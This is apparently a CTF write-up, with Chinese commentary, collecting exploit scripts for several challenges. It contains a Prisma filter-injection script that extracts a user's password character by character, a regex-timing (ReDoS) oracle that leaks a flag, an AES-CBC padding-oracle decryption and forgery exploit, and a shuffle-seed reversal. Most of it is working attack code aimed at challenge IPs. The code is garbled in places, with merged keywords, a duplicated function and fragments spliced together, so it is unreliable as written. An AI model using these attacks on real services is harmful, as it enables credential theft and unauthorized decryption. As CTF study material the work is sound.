model User { id Int @id @default(autoincrement()) createdAt DateTime @default(now()) name String @unique password String posts Post[] }
model Post { id Int @id @default(autoincrement()) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt published Boolean @default(false) title String body String author User @relation(fields: [authorId], references: [id]) authorId Int }
start = "" for i inrange(25): for char in characters: response = requests.get(f"http://35.239.207.1:3000/api/posts?AND[0][author][password][startsWith]={start+char}&AND[1][author][name][equals]=Bob") if response.json().get('posts'): start += char print(start) break
import requests as req import time import string from tqdm import *
defdo_search(regex): endpoint='http://34.162.172.123:3000/search' op=time.time() for i inrange(3): req.post(endpoint, json={"query":regex,"language":"All"}) return time.time()-op
flag='uoftctf{' suf_payload='(((((.*)*)*)*)*)!/'
whileTrue: found=False for cur in tqdm(string.printable): if do_search('/'+flag+f"[\\x{hex(ord(cur))[2:].rjust(2, '0')}]"+suf_payload)>4.5: flag+=cur found=True break
from base64 import b64encode, b64decode from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad
print("Welcome to the AES-CBC oracle!") key = open("key", "rb").read() whileTrue: print("Do you want to encrypt the flag or decrypt a message?") print("1. Encrypt the flag") print("2. Decrypt a message") choice = input("Your choice: ")
if plaintext == "I am an authenticated admin, please give me the flag": print("Victory! Your flag:") print(open("flag.txt").read()) else: print("Unknown command!")
經典題,CBC 有 Padding Error 提示,要控制解密結果:
回顧下加密流程和 Padding Oracle 手法,如果都能翻成正確的 Padding 格式自然也能再透過xor翻出想要的字元 每次的流程變成: 訂製下一塊 block 要被解密成正確文字的 IV -> 透過 Padding Oracle 解密剛剛的 IV 並制定新的 IV 重複三次就可以把目標字串拼出來了
defdecrypt(enc): flag=b'' for i in trange(0, len(enc)-16, 16): # Enumerate Every Blocks iv, msg=enc[i:i+16], enc[i+16:i+32] cur=b'' for j in trange(16): now=15-j # Finding C[now] candi=[] for k inrange(256): if oracle(iv[:now]+bytes([k])+xor(cur, bytes([j+1]*j), iv[16-j:])+msg): candi.append(xor(k, iv[now], j+1)) iflen(candi)==2and candi[0]==bytes([j+1]): cur=candi[1]+cur else: cur=candi[0]+cur print(f"[*] Current: {cur}")
flag+=cur print(f"[*] Flag: {flag}") return flag
target=pad(b'I am an authenticated admin, please give me the flag', 16) r.recvuntil(b': ') r.sendline(b'1') known=b64decode(r.recvline()) payload=xor(target[-16:], b'random\n\n\n\n\n\n\n\n\n\n', known[:16])+known[16:]
cur_iv, cur_enc = b'a'*16, payload[:16]
for i inrange(48, 0, -16): cur_block=decrypt(cur_iv+cur_enc) cur_iv=xor(target[i-16:i], cur_block, cur_iv) payload=cur_iv+payload cur_enc=cur_iv cur_iv=b'a'*16
#! /usr/local/bin/python3 from fractions import Fraction from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from hashlib import sha256
defBake(x,y): if y <= 1 / 2: x, y = x / 2, 2 * y elif y >= 1 / 2: x, y = 1 - x / 2, 2 - 2 * y return x,y
那今天已知洗牌結果的情況,只要種子 < n!,n 是牌數就可以逆推種子 回到剛剛的範例,今天 3 被第一個 pop 出來時我們知道 種子 = X*5+2,以此類推,後面的 X 又可以遞進地被一一列出來,最後就可以逆推回去了 reverse_shuffle
1 2 3 4 5 6 7 8 9 10 11 12
defreverse_shuffle(shuffled_nums): n = len(shuffled_nums) original_indices = [] nums = [i for i inrange(1, n+1)] for num in shuffled_nums: index = nums.index(num) original_indices.append(index) nums.pop(index) seed = 0 for i inrange(n-1, -1, -1): seed = seed * (n - i) + original_indices[i] return seed
defreverse_shuffle(shuffled_nums): n = len(shuffled_nums) original_indices = [] nums = [i for i inrange(1, n+1)] for num in shuffled_nums: index = nums.index(num) original_indices.append(index) nums.pop(index) seed = 0 for i inrange(n-1, -1, -1): seed = seed * (n - i) + original_indices[i] return seed
whileTrue: r.recvuntil(b'! ') r.sendline(b'30') data=r.recvline().decode() exec(f"cur=reverse_shuffle({data})") if cur in appeared: print('Hooray') found=True exec(f"dict.append({cur});appeared.add({cur})") os.system(f'echo {cur} >> log.txt') if found==True: break
我是從 log.txt 去把值撈出來的 LOL
1 2 3 4 5 6 7 8 9
from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from hashlib import sha256